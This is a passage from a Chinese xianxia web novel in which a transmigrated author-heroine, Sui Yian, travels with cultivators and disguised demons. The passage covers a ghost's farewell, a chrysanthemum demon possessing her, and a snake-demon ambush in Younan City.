华屿山不可置信,他放开岁忆谙的手,说:“真稀奇,你竟然好了。”
“我怎么了?”岁忆谙疑惑,她记得自己再给阿纸阿鸢烧纸,然后一阵风吹来,她就没了意识。
“你忽然晕了,并无大碍……暂时并无大碍。”
华屿山解释完后就让了地方,岁忆谙的病症太过古怪,他得好好翻翻医术才行。
“谙,你现在感觉如何?”
靳江浛坐上床沿,神色担忧,声音还在微微颤抖着。
对上靳江浛不安的眼睛,岁忆谙的心脏像是被鼓槌敲击了一下,咚咚咚地跳着,她总觉得奇怪,但又不知哪儿奇怪。
她移开视线,道:“我没事。”
堂厅————
坐在桌前的几人脸上写满了忧愁,岁忆谙从楼上下来,她朝几人打着招呼。
“岁姑娘,你没事吧?”柳微晴问。
“当然没事。”
几人见岁忆谙活蹦乱跳的,面容上布满的愁云散了几分。
岁忆谙来到几人面前,靳江浛为她移开椅子,待人坐下后,他也跟着坐下。
“话说我们何时启程?下咒者已经找到,这安宁村我也快呆腻了。”靳江浛边说边为岁忆谙倒茶。
黎绕月缓缓开口:“等谙养好身体再出发吧。”
“我的身体已无大碍,大家不必为我停留。”
几人又看向了一直不说话的白英空,黎绕月问:“白兄怎么心事重重的?”
白英空回道:“我在想给阿鸢夺魂咒的那个黑袍人是谁?她这么做的目的又是什么?”
听见白英空的猜疑,岁忆谙忽地想起几日前的晚上,她与靳江浛意外闯入魔族阵法的石洞里,而夺魂咒又是魔族咒法,这和黑袍人有关系吗?
“白兄,我…………”岁忆谙刚开口又顿住,眸子里染上迟疑,既是魔族,倘如她说出去了,靳江浛岂不是很危险?
白英空见岁忆谙迟迟不说话,便追问道:“怎么了岁姑娘?”
“无事。”
岁忆谙还是摇了摇头,她并不想将魔族阵法之事说出口。
众人决定明早启程离开安宁村,在临走的前一晚,岁忆谙想去一趟城隍庙,靳江浛死皮赖脸地跟着她。
两人来到城隍庙,岁忆谙让靳江浛在外面等着,自己独自一人进了庙。
“阿纸……徐宸,你们在吗?”
岁忆谙想来这里碰碰运气,之前那女鬼出现,徐宸也指了路,她想见见两人。
话音刚落,城隍爷背后走出了一女子,衣着样式与那晚见到的女鬼一模一样,只不过这次她盖着红盖头。
“岁姑娘。”
清冷空灵的声音响起,岁忆谙试探性地问:“你是阿纸?”
“是,如今的我面目可怖,只能隔着盖头跟岁姑娘说话,实在抱歉。”
“你…………”
岁忆谙听后,心中涌起了一股浓烈的愧疚感,她渐渐红了眼。
她不清楚盖头下的阿纸是何种神情,倘若阿纸同阿鸢那般恨自己就好了,起码能让自己好受些。
“对不起,我不该写这些的。”岁忆谙泪流满面,她抽泣起来。
岁忆谙以为阿纸听不懂,怎料阿纸回应了她的话。
“岁姑娘不必自责,也不必哭泣,错不在你,当你来到这个世界的那一刻起,他们所做的一切都不是你让他们做的,谁都不知晓他们内心深处到底是何样子。”
阿纸的声音温柔似水,令岁忆谙的情绪渐渐平静,她止住哭泣,泪珠却一直流下,她错愕道:“你…………知晓我是谁?”
“当我们死亡之际,自然就会知晓你的身份。”
“我与徐宸有幸得城隍庙庇护,这才能在人间多留些时日,算算时间,我们也该走了。”
“阿鸢说的话你不必在意,她还小,性子不算成熟。”
“我会忘记一切伤痛,也会重新开始,祝我如愿吧。”
岁忆谙说:“你会如愿的。”
阿纸的身影逐渐透明,最后消失在岁忆谙眼前。
在外等候的靳江浛看着走出来,眼泪哗啦啦流着
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的岁忆谙,冷峻的神情瞬间软了下来。
靳江浛想伸手抹泪,手在空中停住,不着痕迹地收回,再从怀中拿了一张帕子出来,他轻声问:“怎么哭了?”
“没事。”岁忆谙吸了吸鼻涕,她摇头,声音闷闷的。
见她不愿说,靳江浛也不追问,只是趁岁忆谙向前走时,深深地看了眼城隍庙,眼底充斥着阴霾。
回到客栈厢房,岁忆谙躺在床榻上暗自神伤。
零零零突然出声:【宿主大人不用伤心,他们都是书中人,都是虚假的。】
岁忆谙并没有将它的话听进去,而是疑惑地问:“对了零零零,我怎么又晕了?”
【只是………只是疲劳过度。】零零零的说话声很小,语气十分心虚。
“你怎么说得支支吾吾的?”
零零零沉默,它没说话,而岁忆谙嗅到了一丝阴谋的气息,她装作关切道:“你不想说便不说,我能理解你的难处。”
虽然不知晓是什么难处,但先忽悠过去再说吧。
零零零感动道:【宿主大人真善解人意。】
还真有事儿瞒她…………
翌日。
众人纷纷聚集在安宁村村外,岁忆谙打着哈欠,有些无聊地看着白英空用罗盘寻找鬼石的踪迹。
“白兄,你这罗盘既是寻找鬼石的法器,那这法器是谁铸造的?”
白英空道:“是凌仙宗的净惜长老,在我离开凌仙宗前她偷偷给我的。”
“净惜长老…………”
岁忆谙仔细想了想,自己没写过。
黎绕月特意站在众人身后,她盯着靳江浛的一举一动。
“罗盘指的方向是西方,我们走吧。”
可直到白英空说完鬼石所在方向,她都并未发现靳江浛有动什么手脚。
倘若鬼石不在靳江浛手上,那靳江浛就是魔了,她该怎么办?
她肯定是要将靳江浛带回月蛇洲的,就是不知靳江浛愿不愿意了,就算不愿意,她也可以用岁忆谙要挟靳江浛。
一行七人浩浩荡荡地往西方走去,一路上倒是风平浪静,但也并没有鬼石的气息。
岁忆谙有些无聊,看了看前头。
白英空拿着罗盘认真寻找,不放过视线中的任何一个可疑的石头。
黎绕月和裴汔手牵手,格外甜蜜。
柳微晴东往往西看看,眼中满是新奇。
华屿山在摇着扇子自言自语……好像是在跟柳微晴说话,但柳微晴没有一点想要回应的意思。
而靳江浛则跟在她身边,视线一直盯着她,也不说话,就一直盯着,岁忆谙只觉心累。
七人从早走到晚,岁忆谙最后还是踩着岁岁飞着。
夜色如墨,七人顺利找到了一家客栈,入住完毕后,都等待着明日的到来。
众人熟睡,一道身影悄然消失在客栈。
安宁村的村民早早就熄了灯,巨大的响声将睡梦中的他们吵醒。
轰————
村民纷纷提灯出门,声音的来源好像是城隍庙的方向。
下一秒,整座村子地动山摇,瞬息之间,地面出现长长的裂缝,房屋坍塌,树木歪斜。
屋子里的人被掉下的房梁压死,站在外面的人掉入裂缝之中。
惨叫声不绝于耳,最后随着天光大亮而消失。
39. 担心
客栈内的几人对这一切都不清楚,睡醒后,他们再次踏上寻找鬼石之路,走着走着,人渐渐多了起来。
远处是一座城,城门大开,守城的护卫严查进出城的每一个人,不过出城的人比进城的人多,而且出城的人神情都慌慌张张的。
“游南城…………”
岁忆谙老远就看清了城门上的三个字,在原剧情中,她只记得游南城内有妖物作祟,其余的都快忘掉了,也不知这次还会遇到怎样事情。
白英空站在城门前,手中罗盘上的指针开始诡异地迅速旋转,他运转灵力试图让指针停下,可指针依旧疯狂转动着。
“看来这鬼石十有八九就在游南城里。”白英空欣喜道。
此话一出,黎绕月与裴汔都有些兴奋,寻了这么久的鬼石终于要出现了。
进城需要给守卫查看户籍,巧的是,除了白英空,靳江浛和华屿山,其他四人都没有户籍。
岁忆谙不是这个世界的,黎绕月与裴汔是妖,柳微晴身份不明。
那三人都着户籍去给守卫看了,他们四人在装模作样地找,接着不约而同地对视一眼,那一眼好像是在说。
你也没有吗?
这可不怪岁忆谙没有,她一直在村里呆着,又不进城,顶多去一下镇子而已,谁能想到户籍这事儿。
白英空和华屿山有户籍能理解,靳江浛一个魔怎么也有?
似是察觉到了岁忆谙的疑惑,靳江浛有倒了回来,凭空拿出一本折子,靠近她,小声说:“好奇我为何会有吗?”
“为何?”岁忆谙真诚地问道。
“因为…………”
靳江浛说得小声,岁忆谙侧耳倾听。
“我不告诉你。”
岁忆谙顿感无语,她白了眼靳江浛,不就是一张户籍嘛。
岁忆谙在脑中道:【零零零,给我搞个户籍出来。】
不出三秒,零零零就回复了。
岁忆谙从布袋子里拿出折子,朝靳江浛扬了扬。
“我也有。”
靳江浛只是宠溺地笑了笑。
黎绕月与裴汔也用妖力弄了一个假的出来,两人顺利进了城,柳微晴倒是被拦下来了。
“蠢货。”靳江浛低声骂了一句,这句话倒是被岁忆谙听到了。
“没事儿骂她做什么?你怎么不给她搞个户籍出来?!”岁忆谙责备道。
“我…………”靳江浛不知该怎样反驳,他的确忘了。
看着懵懵的柳微晴,岁忆谙一脚踢向靳江浛,说:“你还不快点给她搞个户籍出来。”
“凭什…………”
靳江浛不情愿,话还没说完就听见有人说:“她的户籍在我这儿。”
几人齐刷刷看向华屿山,华屿山没有理会,他跑回去拿出折子给守卫看,顺带解释道:“不好意思啊,她脑子有点……你懂的。”
户籍没有问题,守卫看着柳微晴呆呆模样,也道:“下次看紧点。”
华屿山收起折子,拉着柳微晴转身就走。
柳微晴疑惑:“我脑子有点什么?”
“没什么,赶紧走吧。”
七人进城进得还算顺利,只不过城中店铺门窗紧闭,无人开门营业,萧条得很。
华屿山疑惑:“这城里的人怎么都跑了?”
“当务之急还是寻找鬼石。”白英空拿出罗盘,这次指针径直指向了众人的东北方。
“这边。”
几人跟着白英空来到一条的街道上,罗盘上的指针再次迅速旋转起来。
白英空道:“看来这里的鬼石气息最重。”
黎绕月与裴汔也跟着兴奋起来。
几人从街头跑到街尾,所有的石头都看了个遍,没一块像的。
而岁忆谙连连叹气,看着几人这么激动的神情,尤其是白英空,她真想说实话。
之前被零零零打消了这个念头。
倘若她真说了靳江浛是魔,鬼石也在靳江浛身上,那剧情会走得快些吗?
现在这个想法一出现,她就否决了,倘若说了,岂不是会让靳江浛陷入危险境地,这不行。
不对,她居然担心起靳江浛了!
真奇怪。
岁忆谙带着狐疑的神色看向靳江浛。
靳江浛一身淡紫衣袍,镶着银丝的深紫腰带勾勒出了他精壮的腰身,身上生人勿进的气质倒是弱了几分。
岁忆谙仰着头,她只能看到靳江浛的下颌线,和逆着光的侧脸。
靳江浛察觉到了一旁的视线,他垂头,就见岁忆谙盯着自己。
他附身,问:“怎么了?”
灼热的气息喷洒在岁忆谙的脸上,脸颊有些发烫,面对靳江浛的凑近,她有些措不及防。
岁忆谙别过脸,结巴道:“没……没事。”
靳江浛并未多想,可当他看到岁忆谙红了的耳朵时,呼吸一窒,心中涌起一股难以描述的情绪。
他伸出手摸了摸她的耳尖,笑道:“没事耳朵怎么红了?”
“别碰我,我才没有。”
“好好好,没有便没有。”
忽然,靳江浛收起笑容,他猛地转头看向街尾,缓缓开口:“有妖。”
其余人听后,纷纷警惕起来。
一股邪风从街尾吹来,街边的摊子,屋上的砖瓦都被吹飞,似有目标般朝众人袭来。
白英空施法显出结界,将身后六人护下。
岁忆谙耸了耸鼻子,邪风中似乎带着一股子清丽的菊香,邪风只吹了一阵子便停下。
风停后,一朵白菊在空中飘飘荡荡,只不过,除了岁忆谙没人瞧见。
岁忆谙仰着脑袋,她的视线随着白菊移动,脑子冒出了一个念头,她要跟着白菊走。
结界解除,面前的街道上出现了成片成片的尸体,诡异的是,尸体上都开满了白菊。
肮脏杂乱的尸体上,开的是洁白无瑕的菊花。
“怎么会死了那么多的人?”白英空惊呼。
“谙!”
几人的注意力从尸体移向靳江浛。
原本站在靳江浛身边的岁忆谙不见了!
“谙,你在哪里?!”靳江浛慌了,他大声呼喊着。
“岁忆谙!”
靳江浛刚想将意识放出寻人时,哒哒哒的脚步声传来,后方出现了一群士兵,为首的是一女子。
女子面容秀丽,一身嫩黄纱裙随着奔跑而飘动,她先是看了眼街尾的尸体,然后再打量着面前的六人,视线在红了眼的靳江浛身上多停留了一会儿。
收回视线,女子微微喘着气,问道:“你们是谁?”
白英空正要作答时,靳江浛竟主动开口,他反问:“你又是谁?”
女子
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冷着脸,她看了眼周围的略微破败的房屋,说:“我是游南城城主之女……欧阳浅。”
靳江浛从最后三个字里听出了些古怪。
欧阳浅勾唇浅笑,道:“刚刚那一幕我看见了,想必诸位并非寻常人,这满街的尸体乃妖物作祟,我想邀诸位到我城主府一坐。”
“带走。”
也不管他们同不同意,欧阳浅朝身后的守卫吩咐,说罢,她转身就走,走了几步,还回头看了眼人群中的靳江浛。
靳江浛才懒得理会他们,在众目睽睽之下,他的身影瞬间消失在原地。
城外———
岁忆谙跟着白菊来到城外,眼神木讷,肢体僵硬。
空中的白菊终于停住,紧接着往下坠落,岁忆谙伸出手,想让花落在手掌心,怎料白菊散发出了光芒。
光芒并不刺眼,反而格外柔和。
白菊缓缓进入到岁忆谙的体内,下一秒,岁忆谙浑身激灵,她发现自己身处在一个陌生的花丛当中。
花丛里只开着一种花,便是白菊。
“这是哪儿啊?”
岁忆谙左右张望,周围是一望无际的白菊丛,她一头雾水,连自己怎么走到这儿来的都不知晓。
白菊紧紧贴在岁忆谙的腿边,她也不能踩着花走吧,看来只能用穿梭符了。
岁忆谙从布袋子里拿出穿梭符,注入灵力,念着游南城三字,身子一动不动,场景也没有变化。
“怎么用不了了?”
“零零零,你在吗?”
一片寂静,岁忆谙也不管了,她拎着裙子踮着脚夹缝走,娇红色的衣袖拂过白菊花瓣,即使她再小心,可还是弄掉了几朵。
哗———
一道穿着破烂斗篷的身影从天而降,来人背对着岁忆谙。
“你………你好?”
来者转身,是一个弯着腰的老婆婆,几缕白发从斗帽里垂下,岁忆谙还是能看见斗帽下的苍老面容,眼神锐利清明,一点儿都不像上了年纪的老人。
岁忆谙下意识站直身子,她问:“婆婆,你是谁?”
“我叫画屏。”响起的嗓音清脆,十分年轻,与她的容貌一点儿都不符合。
岁忆谙虽然觉得奇怪,但也道:“我是岁忆谙,冒昧问一下,这是哪儿啊?”
画屏紧紧盯着她,说:“这里是妖域,白菊花妖的妖域。”
“妖?”岁忆谙心中大惊,她怎么来到妖域了,面前这人不会是妖吧?
岁忆谙问:“那婆……画姑娘,你也是妖?”
喊姑娘也只是为了让画屏开心开心而已。
画屏不语,只是一味地盯着岁忆谙,视线从脸移向心口处。
岁忆谙也不知该说些什么,她只能四处张望,寻找能出去的路。
白菊丛里并无脚步踏足的痕迹,岁忆谙真怀疑自己是飞进来的。
“你终于来了。”画屏突然开口。
岁忆谙困惑:“什么?你知晓我要来?”
“当然,我一直在等你。”
岁忆谙一听,整个人怔在原地,一股不祥的预感涌上心头。
画屏不会认识她吧……
她看向画屏,画屏摘下了斗篷,眼底闪过一抹暗光,她还未反应过来,整个人就失去了意识。
“借用一下你的躯体,等我报完仇,我就还给你。”
40. 快滚出来
城主府———
欧阳浅一把推开书房的门,冲到书桌前,说:“阿爹,我带了几个人回来。”
欧阳晓对自家女儿的举动早就习以为常了,他放下手中的书,跟着欧阳浅离开书房。
正厅之上,只有白英空,柳微晴和华屿山三人坐在椅座上。
岁忆谙突然失踪,剩下几人都去寻了,城中妖气颇重,白英空打算问问城主这是这么一会事儿。
欧阳晓走向正厅,视线在三人身上都停留了一遍,当他看到白英空身上的禁制时万分疑惑。
他不动声色地收回视线,调整好表情后,笑着走进正厅。
白英空和华屿山见到来人,便站起身来。
欧阳浅看见正厅只剩三人时有些不悦,但她还是诧异道:“怎么就剩你们三个了?”
“浅儿,不得无礼。”
欧阳浅轻声呵斥后又对几人陪笑:“瞧着诸位气度不凡,想必不是寻常人吧,在下欧阳晓,游南城城主,这是我的女儿欧阳浅。”
欧阳浅朝几人敷衍地点头问好。
“在下凌仙宗白英空。”
“医毒谷华屿山。”
互相介绍完,几人纷纷看向还坐在椅子上的柳微晴。
柳微晴正无聊地玩着自己的发尾,华屿山将她拉了起来,凑到她耳边低声说:“介绍一下自己。”
柳微晴听后,有些为难地挠了挠头,她除了知晓自己的名字,还能介绍些什么?
“我………柳微晴,是个人。”
华屿山无奈扶额。
“扑哧——”
欧阳浅憋不住笑,她嘲讽出声:“哪儿来的傻子?”
欧阳晓厉声道:“浅儿!”
欧阳浅收起笑容,表情严肃地说:“对不起。”
这个柳微晴倒是会回答,她抢先开口:“没关系。”
看着柳微晴这呆呆傻傻的模样,欧阳浅眼底是一闪而过的羡慕,倘若她也是这副模样就好了。
为了防止欧阳浅再说出什么鬼话来,欧阳晓让她去偏厅倒些茶水。
几人落座,欧阳晓神情愧疚,他道:“实在抱歉,浅儿娘走得早,自小就被我惯坏了。”
他又问:“你们应该不是自愿被浅儿带进府的吧?”
“是否自愿都不重要了,城主,我想问问………”
“啊!”
白英空还没来得及问出他的话,一道尖叫声响起,像是从外面传来的。
“浅儿!”
欧阳晓听出了尖叫声是欧阳浅的,他奔出正厅,其余三人毫不犹豫地跟上。
四人刚出门,就看见欧阳浅被人用剑抵着脖子。
“靳江浛!”
白英空一眼就看出那人是靳江浛,此刻的靳江浛双目猩红,周身萦绕着淡淡的黑气。
华屿山见靳江浛身上的魔气隐隐有泄露的迹象,垂在衣袖中的手偷偷施法,盖住了他身上的魔气。
这个举动并未引起白英空的注意,他只担心靳江浛会伤害到欧阳浅,他拦下想要上前的欧阳晓,想上前劝解。
“别过来。”
白英空听后,刚迈出去的脚又收了回来。
“江浛,你这是做什么?”
靳江浛才懒得搭理白英空,他的右手死死地握着剑柄,手背上青筋暴起,压着胸中怒气问:“人呢?”
欧阳浅手上还端着茶盘,她眼含泪光,楚楚可怜,说:“这位公子,我听不懂你的意思。”
“听不懂就去死。”
靳江浛不耐烦地挥剑。
白英空施法挡下,他没想到靳江浛真敢动手,他冲上前怒吼:“靳江浛,你疯了?!”
“我的耐心是有限的,你要是再不把人交出来,我就杀了你,还有这府中的所有人。”靳江浛威胁道。
欧阳浅躲在白英空后面,泪眼婆娑,她道:“公子,我真不知晓你在说什么?”
欧阳晓在一旁劝道:“这位公子,有话好好说,剑刃锋利,可否先将剑移开?”
靳江浛斜了欧阳晓一眼,语气轻蔑:“今日之内我要是见不到岁忆谙,你就陪着你爹一起去死。”
白英空震惊地看着靳江浛,他怎能说出这样的话?!
“滚开!”
靳江浛一挥手,抑制不住的魔力爆出,白英空防不胜防,魔力将他挥飞。
身躯即将撞上木柱,华屿山飞身上前,伸手借力将他拉了回来。
白英空在空中转了个圈,眼看着靳江浛再次挥剑,他刚站稳就拔剑出鞘,左手将剑甩出,右手掐诀,口中念咒。
剑身泛起蓝光,以迅雷不及掩耳之势朝前方飞去。
剑尖即将刺到靳江浛时,剑刃一分为四,化成柔软的长线缠绕他的身上,将他死死地禁锢住。
靳江浛被困在原地,动弹不得。
欧阳浅见状,拔腿就跑。
白英空走到靳江浛面前,眼底满是失望,他语气沉重。
“凌仙剑气化成的绳索,圈数越多,禁锢之力越强,这还是我第一次用这个术法,没想到这第一次就用在了你身上。”
“松开我!”
靳江浛什么都听不进去,他准备运转魔力强行挣开。
“好热闹呀,你们在干什么?”
熟悉的声音响起,靳江浛停下动作,怔怔地扭头朝声音来源看去。
掉落在地的岁岁疯狂抖动,它朝站在门口的岁忆谙飞去。
与其说是飞,不若说是刺。
凌厉的剑气蕴含着丝丝杀气袭来,岁忆谙一动不动,眼神威胁地看着飞驰而来的黑石长剑。
岁岁猛地停住,岁忆谙满意地笑了笑,她伸手拨开面前黑色剑刃,然后提着裙子朝靳江浛小跑而来。
衣袂翩飞,无意识地安抚下了靳江浛的情绪。
岁岁跟在后面,只不过剑尖一直指向岁忆谙。
“松开我。”靳江浛对白英空说。
白英空见岁忆谙回来了,松了口气,岁忆谙在场,靳江浛也不会再动手了吧。
白英空念咒收回禁锢靳江浛身上的长线,然后默默走到一旁。
岁忆谙来到靳江浛面前,说:“我回来了。”
靳江浛心下一颤,他伸出手,然后………一把握住了岁忆谙的脖颈。
“靳江浛,你这又是做什么?”白英空又想念咒,华屿山将他拦了下来,示意他不要轻举妄动。
白英空深感疑惑,但也不再出声。
宽阔的院子里,每个人都紧绷着神经,微风吹过,一股淡淡的菊花香随风入院。
欧阳晓闻到这个香味后脸色大变。
菊香入鼻,靳江浛的黑眸里充满了戾气,他上前一步,气愤道:“你哪儿来的胆子敢进入她的身体,快滚出来!”
此话一
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出,众人骇然。
此刻的‘岁忆谙’眼神不同往常,妩媚含情,娇红色的衣裙渐渐变成淡粉色,不仔细瞧还瞧不出来。
‘岁忆谙’勾唇浅笑,娇声说:“这么生气?”
“那怎么不敢用力?”
‘岁忆谙’眼神挑衅,纤细白皙的手搭上靳江浛的手腕。
靳江浛蹙眉,他怕伤着岁忆谙的脖子,手掌只是虚虚地握着而已。
这样一来,‘岁忆谙’能迅速逃开,可‘她’为何不逃,‘她’占着岁忆谙的身体到底有何意图?
站在一旁的柳微晴不解地问:“靳江浛这是怎么了?他为何要掐岁姑娘?”
“岁忆谙被俯身了。”华屿山言简意赅。
院子中间,诡谲的气氛疯狂涌动。
靳江浛在纠结自己是要和岁忆谙体内的人谈判,还是直接一掌将人打出岁忆谙体内。
就在他思索时,‘岁忆谙’出手了,她干净利落地一掌打向靳江浛胸口。
靳江浛没有防备被击飞了出去,双脚落地,倒退几步后稳住,他捂着胸口,控制不住地咳了血。
星星点点的血溅在地上,靳江浛擦掉嘴角的血迹,抬眸看向对面的人,说:“妖力…………原来是那只白菊花妖。”
他不想伤到岁忆谙,所以并未反击。
画屏只笑不语,她挥袖,妖力将在场的人都定住。
就在这时,两道身影齐刷刷落在靳江浛身前。
黎绕月与裴汔在外面一无所获后才回来的,没成想竟遇上了这样一副场面。
画屏一看就知晓是两只蛇妖,其中一只还是月蛇妖。
“呦,又来了两只妖。”
众人脸色皆变。
画屏的视线一个个扫过去,接着嗤笑一声,薄唇轻启:“你们这一伙儿人真是有趣,什么牛鬼蛇神都有。”
“一个修仙,一个医师,一个傀儡,两只妖,还有…………魔族,真是意想不到的搭配。”
白英空反应最大,他先是愣了两秒,然后惊愕道:“你说什么?!”
画屏说:“耳朵不好就让你旁边那位去治!”
华屿山见气氛不对,赶忙开口:“哟,我华屿山还挺厉害的,名声竟然传到了游南城,还传到了一只妖的耳朵里。”
画屏没理会华屿山的嬉皮笑脸,她道:“我没兴趣陪你们玩儿了,再见。”
话落,一股白烟从岁忆谙体内飘出,白烟在空中渐渐凝成一个穿着白衣纱裙的女子。
几人看不清女子面容,女子飘向空中,朝远处飞去。
一直警惕着的岁岁终于毫无顾忌地冲向她。
利剑穿过女子的身躯,她的身躯犹如烟雾般四散开来,下一秒,白菊花瓣坠落在院子中。
这唯美的一幕,不知晓的人,还真以为是仙女下凡了。
靳江浛运转魔力强行冲破画屏的束缚,这就导致他又吐了一口血。
随着白色菊花瓣的落下,岁忆谙身上淡粉的衣裙重新变成了娇红,花瓣散落在头顶上空。
岁忆谙睁开双眼,仰头看见了漫天飞舞的花瓣,视线顺着花瓣落下。
余光间,岁忆谙看见不远处,一道紫色身影跌跌撞撞地穿过花瓣朝她走来。
岁忆谙的视线逐渐模糊,身子控制不住地向后倒去,在视线完全黑暗之前,她看见了靳江浛,后背也被一条手臂揽过。
41. 谁稀罕
花瓣落尽,遍地菊白。
其余几人发现自己能动弹了,纷纷跑上前,唯独白英空停留在原地。
白英空看着前面的六人,心情五味杂陈,靳江浛是自己的师弟,他怎么可能是魔?
白菊花妖肯定在骗他。
这时,黎绕月与裴汔走到了他的身边。
“你们两个是妖?为何装作青山宗的弟子骗我?”
两人没有说话,白英空也没有在他们眼中看到丝毫的愧疚,只有无所谓。
他们骗了自己,他们不应该愧疚吗?
“罢了,要怪就只能怪我修为低下,没有看出你们的真实身份。”白英空自顾自地说着。
一旁的两人对上视线,裴汔直接上手掐住白英空的后脖颈,一把将他掐晕。
多一事不如少一事,黎绕月用了最简单粗暴的方法。
她施法清除掉了白英空知晓几人身份的记忆,顺便把欧阳父女的记忆也消掉了。
岁忆谙也苏醒了,得知了来龙去脉,可她就是想不起来自己去了哪儿。
城主府正厅———
七人入座,气氛格外和谐,像是什么事都没发生过一样。
“真是对不住了,我师弟性子顽劣,我替他向欧阳小姐赔罪。”
白英空的记忆停留在靳江浛拿剑指向欧阳浅的时候,然后岁忆谙就回来了,白菊花妖自始至终都没出现过。
欧阳晓只是笑笑:“无事,说到底,还是我女儿不顾你们意愿将你们带来的。”
白英空问:“这没什么,城主,游南城怎么变成了如今这副模样?城中有妖?”
“妖?什么妖?”
欧阳晓先是疑惑,然后恍然大悟道。
“喔,一个月前,城中的百姓毫无征兆地暴毙而亡,他们死后,尸体里就长出了一朵朵白菊,极其诡异,我一直在寻找凶手,可一点儿线索都查不到。”
“凶手……是妖吗?”欧阳晓害怕地缩了缩脖子。
白英空道:“刚刚我们在街道上遇到了一股妖风,妖风过后就出现了许多尸体,而尸体上开着白菊花。”
华屿山装作疑惑道:“难道是白菊花妖?”
“大多数的花妖都生性柔和,白菊花妖怎会在城中大开杀戒?”黎绕月说。
“抓过来问问不就好了。”靳江浛依旧是一副死拽的模样,似乎刚才被白菊花妖打伤的人不是他。
欧阳晓一听,慌忙起身,他拱手问道:“既然是妖,那诸位可会抓妖?”
白英空也跟着站起身,他正气凛然道:“城主放心,斩妖除魔乃仙门职责所在,我们定会抓到那只妖,不会让它祸乱游南城。”
“我替游南城的百姓谢过诸位。”
一行七人在准备应对白菊花妖的武器。
岁忆谙正在客房中画着符纸,靳江浛换完衣袍后在一旁擦剑。
门没关,白英空敲了几下门板。
“江浛,你跟我过来一下。”白英空说罢,就朝外面走去。
靳江浛没动作,岁忆谙催促道:“快去。”
靳江浛收起剑,不情不愿走了出去。
两人走到偏僻处,靳江浛问:“什么事?”
白英空叹息:“江浛,你是凌仙宗的弟子,就算你在宗门里怎么用剑都可以,但在外面,你不能将剑指向百姓。”
白英空真的未曾想过靳江浛会将剑指向一个寻常百姓,他自以为清楚靳江浛的性子,到头来却发现自己错了。
他没有尽到一个大师兄该有的指责。
“然后呢?”
靳江浛满不在乎。
为了防止自己被气死,白英空选择性忽略掉他的态度。
“违背宗门法规,是要罚刑鞭五十,然后逐出宗门的。”
“谁稀罕。”
白英空不可能对靳江浛的举动视若无睹,此事必须上报宗门,但自己是他的师兄,他做错了事,也是自己管教不力。
“鬼石十有八九就在城中,你带着岁姑娘去寻找鬼石,倘若找到了,那就是功大于过,宗门也不会处罚于你。”
白英空拿出罗盘,郑重地交到靳江浛手中。
“不需要。”
靳江浛随意地将罗盘丢了回去,鬼石就在他身上,他都不需要找。
白英空怒其不争,他真想转身就走,可终究还是不忍心,他再次将罗盘塞到靳江浛怀中。
“我们去抓妖,你去找鬼石,还有保护好岁姑娘,也别伤人。”说完后,白英空头也不回地就离开了,没等靳江浛反应。
“真烦人。”
靳江浛嘟囔道。
不过唯一的好处就是不会打扰到他与岁忆谙过二人世界了。
靳江浛回到房中,他靠在桌沿,没等岁忆谙开口问,他就说出了白英空跟他讲的话。
岁忆谙听后,叹了长长的一口气,身子都瘫了下来。
倘若白英空得知一切,得知他辛辛苦苦寻的鬼石就在靳江浛身上,得知靳江浛就是魔。
真不敢想象他会作何反应,岁忆谙感觉他不会生气,说不生气又太假了,白英空是个人,遭遇欺骗怎么可能不生气。
“好吧,看来我们注定无功而返了。”岁忆谙将刚符箓上的朱砂墨吹干,然后通通收到布袋子里。
靳江浛站在岁忆谙右侧,他一手撑在桌面上,一手搭在椅背沿上,弯下腰凑到她耳旁。
“你不打算将我带到白英空面前?”
靳江浛侧头,视线紧紧盯着岁忆谙,语气沉沉,问得极为认真。
灼热的气息喷洒在耳朵上,岁忆谙身子一僵,不自觉红了耳,她往左边挪了挪,继续手上的动作。
“你这是什么废话?就算我带你过去了,你也不会心甘情愿被他抓走。”
靳江浛忽地笑了,他很开心。
靳江浛揽过岁忆谙的肩将人拉近自己,唇瓣贴上了她的耳廓,声音沙哑。
“你还真了解我。”
说完,靳江浛还用鼻尖轻轻蹭了一下岁忆谙的脸颊。
蹭完后,靳江浛迅速远离了岁忆谙,站直身子,垂眸细细打量着她的神情。
岁忆谙用手捂着被蹭的地方,浅棕色的眸子正瞪着他,双颊泛起粉云,也不知是羞的,还是气的。
靳江浛朝门口走去,心情很好地说:“接下来我们只能去抓妖了。”
“我先把你给抓了!”
岁忆谙一张定身符就甩了出去,靳江浛侧身,指尖运转魔力夹着符箓。
“这张定身符就当你送我的了。”靳江浛将符箓收好。
岁忆谙从椅子上站起,她气愤地追上去,靳江浛转身就跑。
“你给我站住!”
另一边,华屿山与柳微晴一路,他们已经出发
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了。
白英空与黎绕月,裴汔一路。
白英空匆匆赶到两人面前,说着抱歉。
黎绕月嘴上说着没事,可心中却起了疑心,她试探性地问:“靳道友与岁姑娘一同去抓妖?”
“他们去寻找鬼石了。”白英空脸色不太好,满脸愁容。
提到鬼石,黎绕月心跳加速,她看了眼裴汔。
裴汔说:“没有法器,他应该找不到鬼石吧。”
白英空丝毫没有察觉到两人的异常,他叹道:“法器我给他了,希望他能找到吧。”
【怎么办?】裴汔传音给黎绕月,之前跟着白英空,只是因为他身上还有寻找鬼石的法器而已。
【等。】
三人走远了些,来到空无一人的街道上,白英空四处观察。
黎绕月渐渐落了步子,她随便朝一栋废弃的房子冲去。
“别跑!”
白英空脑子还没做出反应,腿就跟了上去。
白英空闯入一间无人居住的屋子里,周围昏暗无比,黎绕月与裴汔不知所踪。
“黎姑娘?裴兄?”
“你们在吗?”
白英空感受到了危险的气息,他拔剑出鞘,寒光一闪而过。
破空声从身后传来,白英空转身挥出一剑。
叮!
兵器碰撞声响起,有什么东西被钉在了墙上。
白英空定睛一看,是鸳鸯钺,他一眼就认出了那是裴汔的武器,只是还没来得及思索些什么,一把骨笛出现在眼前,他举剑抵住。
“妖气…………”
他能感受到妖气。
白英空脚步晃荡,哐当一下,他好像踢到了什么东西,可惜光线太过暗淡,他只能凭着感觉,将脚边的东西踢向对方。
对方闪身躲开,那东西正好砸向了窗户。
本就摇摇欲坠的木窗被砸烂,阳光照进,白英空看清了对面的人。
“你们是妖………你们想杀我?”白英空不可置信。
黎绕月并未回答,她再次挥笛。
白英空大惊,他翻身躲过,屋里没有光线,难以看清,一只脚刚踏出门,左肩就被人扣住。
白英空右手挽剑,削向那只手,那只手迅速收回。
视线终于开朗,白英空站在院子中央,屋中缓缓走出两人。
两人二话不说冲向白英空,白英空只能硬着头皮迎战。
论修为,白英空才二十三四岁,在同辈中虽是翘楚,但肯定抵不过两只百年蛇妖,更何况是一打二。
